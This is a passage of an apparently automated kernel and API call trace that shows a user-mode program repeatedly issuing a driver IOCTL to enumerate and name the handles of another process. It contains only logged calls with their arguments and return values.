nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0104.213] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.213] PsAcquireProcessExitSynchronization () returned 0x0 [0104.213] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.213] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032488b0, HandleInformation=0x0) returned 0x0 [0104.213] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.214] PsReleaseProcessExitSynchronization () returned 0x2 [0104.214] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.214] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.214] ObfDereferenceObject (Object=0xfffffa80032488b0) returned 0x12 [0104.214] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.214] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.214] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.214] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0104.214] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.214] PsAcquireProcessExitSynchronization () returned 0x0 [0104.214] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.214] ObReferenceObjectByHandle (in: Handle=0x464, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003261a90, HandleInformation=0x0) returned 0x0 [0104.214] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.214] PsReleaseProcessExitSynchronization () returned 0x2 [0104.214] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.214] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.214] ObfDereferenceObject (Object=0xfffffa8003261a90) returned 0x13 [0104.214] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.214] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.214] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.214] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0104.214] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.214] PsAcquireProcessExitSynchronization () returned 0x0 [0104.214] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.214] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003279070, HandleInformation=0x0) returned 0x0 [0104.214] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.214] PsReleaseProcessExitSynchronization () returned 0x2 [0104.214] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.214] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.214] ObfDereferenceObject (Object=0xfffffa8003279070) returned 0x12 [0104.214] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.214] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.215] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.215] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x104, lpOverlapped=0x0) returned 1 [0104.215] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.215] PsAcquireProcessExitSynchronization () returned 0x0 [0104.215] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.215] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003278890, HandleInformation=0x0) returned 0x0 [0104.215] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.215] PsReleaseProcessExitSynchronization () returned 0x2 [0104.215] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.215] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.215] ObfDereferenceObject (Object=0xfffffa8003278890) returned 0x13 [0104.215] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.215] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.215] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.215] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xda, lpOverlapped=0x0) returned 1 [0104.215] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.215] PsAcquireProcessExitSynchronization () returned 0x0 [0104.215] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.215] ObReferenceObjectByHandle (in: Handle=0x4d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003308a80, HandleInformation=0x0) returned 0x0 [0104.215] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.215] PsReleaseProcessExitSynchronization () returned 0x2 [0104.215] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.215] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.215] ObfDereferenceObject (Object=0xfffffa8003308a80) returned 0x12 [0104.215] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.215] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.215] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.215] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0104.215] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.215] PsAcquireProcessExitSynchronization () returned 0x0 [0104.215] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.216] ObReferenceObjectByHandle (in: Handle=0x4ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f853c0, HandleInformation=0x0) returned 0x0 [0104.216] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.216] PsReleaseProcessExitSynchronization () returned 0x2 [0104.216] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.216] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.216] ObfDereferenceObject (Object=0xfffffa8002f853c0) returned 0x12 [0104.216] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.216] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.216] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.216] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0104.216] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.216] PsAcquireProcessExitSynchronization () returned 0x0 [0104.216] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.216] ObReferenceObjectByHandle (in: Handle=0x4f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032f2ac0, HandleInformation=0x0) returned 0x0 [0104.216] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.216] PsReleaseProcessExitSynchronization () returned 0x2 [0104.216] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.216] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.216] ObfDereferenceObject (Object=0xfffffa80032f2ac0) returned 0x12 [0104.216] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.216] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.216] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.216] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0104.216] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.216] PsAcquireProcessExitSynchronization () returned 0x0 [0104.216] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.216] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032f5650, HandleInformation=0x0) returned 0x0 [0104.216] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.216] PsReleaseProcessExitSynchronization () returned 0x2 [0104.216] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.216] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.216] ObfDereferenceObject (Object=0xfffffa80032f5650) returned 0x12 [0104.216] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.217] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.217] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.217] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xfe, lpOverlapped=0x0) returned 1 [0104.217] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.217] PsAcquireProcessExitSynchronization () returned 0x0 [0104.217] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.217] ObReferenceObjectByHandle (in: Handle=0x4f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003309490, HandleInformation=0x0) returned 0x0 [0104.217] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.217] PsReleaseProcessExitSynchronization () returned 0x2 [0104.217] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.217] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.217] ObfDereferenceObject (Object=0xfffffa8003309490) returned 0x12 [0104.217] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.217] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.217] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.217] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x11a, lpOverlapped=0x0) returned 1 [0104.217] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.217] PsAcquireProcessExitSynchronization () returned 0x0 [0104.217] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.217] ObReferenceObjectByHandle (in: Handle=0x4fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032cf510, HandleInformation=0x0) returned 0x0 [0104.217] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.217] PsReleaseProcessExitSynchronization () returned 0x2 [0104.217] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.217] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.217] ObfDereferenceObject (Object=0xfffffa80032cf510) returned 0x12 [0104.217] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.217] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.217] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.217] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x104, lpOverlapped=0x0) returned 1 [0104.217] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.217] PsAcquireProcessExitSynchronization () returned 0x0 [0104.217] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.218] ObReferenceObjectByHandle (in: Handle=0x524, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80028daaa0, HandleInformation=0x0) returned 0x0 [0104.218] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.218] PsReleaseProcessExitSynchronization () returned 0x2 [0104.218] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.218] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.218] ObfDereferenceObject (Object=0xfffffa80028daaa0) returned 0x12 [0104.218] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.218] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.218] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.218] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xc4, lpOverlapped=0x0) returned 1 [0104.218] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.218] PsAcquireProcessExitSynchronization () returned 0x0 [0104.218] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.218] ObReferenceObjectByHandle (in: Handle=0x530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80034da620, HandleInformation=0x0) returned 0x0 [0104.218] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.218] PsReleaseProcessExitSynchronization () returned 0x2 [0104.218] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.218] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.218] ObfDereferenceObject (Object=0xfffffa80034da620) returned 0x12 [0104.218] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.218] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.218] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.218] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0104.218] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.218] PsAcquireProcessExitSynchronization () returned 0x0 [0104.218] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.218] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002861f20, HandleInformation=0x0) returned 0x0 [0104.218] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.218] PsReleaseProcessExitSynchronization () returned 0x2 [0104.218] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.218] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.219] ObfDereferenceObject (Object=0xfffffa8002861f20) returned 0x13 [0104.219] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.219] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.219] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.219] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xd6, lpOverlapped=0x0) returned 1 [0104.219] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.219] PsAcquireProcessExitSynchronization () returned 0x0 [0104.219] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.219] ObReferenceObjectByHandle (in: Handle=0x544, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80034702c0, HandleInformation=0x0) returned 0x0 [0104.219] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.219] PsReleaseProcessExitSynchronization () returned 0x2 [0104.219] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.219] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.219] ObfDereferenceObject (Object=0xfffffa80034702c0) returned 0x20 [0104.219] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.219] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.219] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.219] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0104.219] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.219] PsAcquireProcessExitSynchronization () returned 0x0 [0104.219] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.219] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003b112c0, HandleInformation=0x0) returned 0x0 [0104.219] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.219] PsReleaseProcessExitSynchronization () returned 0x2 [0104.219] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.219] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.219] ObfDereferenceObject (Object=0xfffffa8003b112c0) returned 0x6 [0104.219] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.219] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.219] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.219] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x118, lpOverlapped=0x0) returned 1 [0104.219] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.220] PsAcquireProcessExitSynchronization () returned 0x0 [0104.220] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: 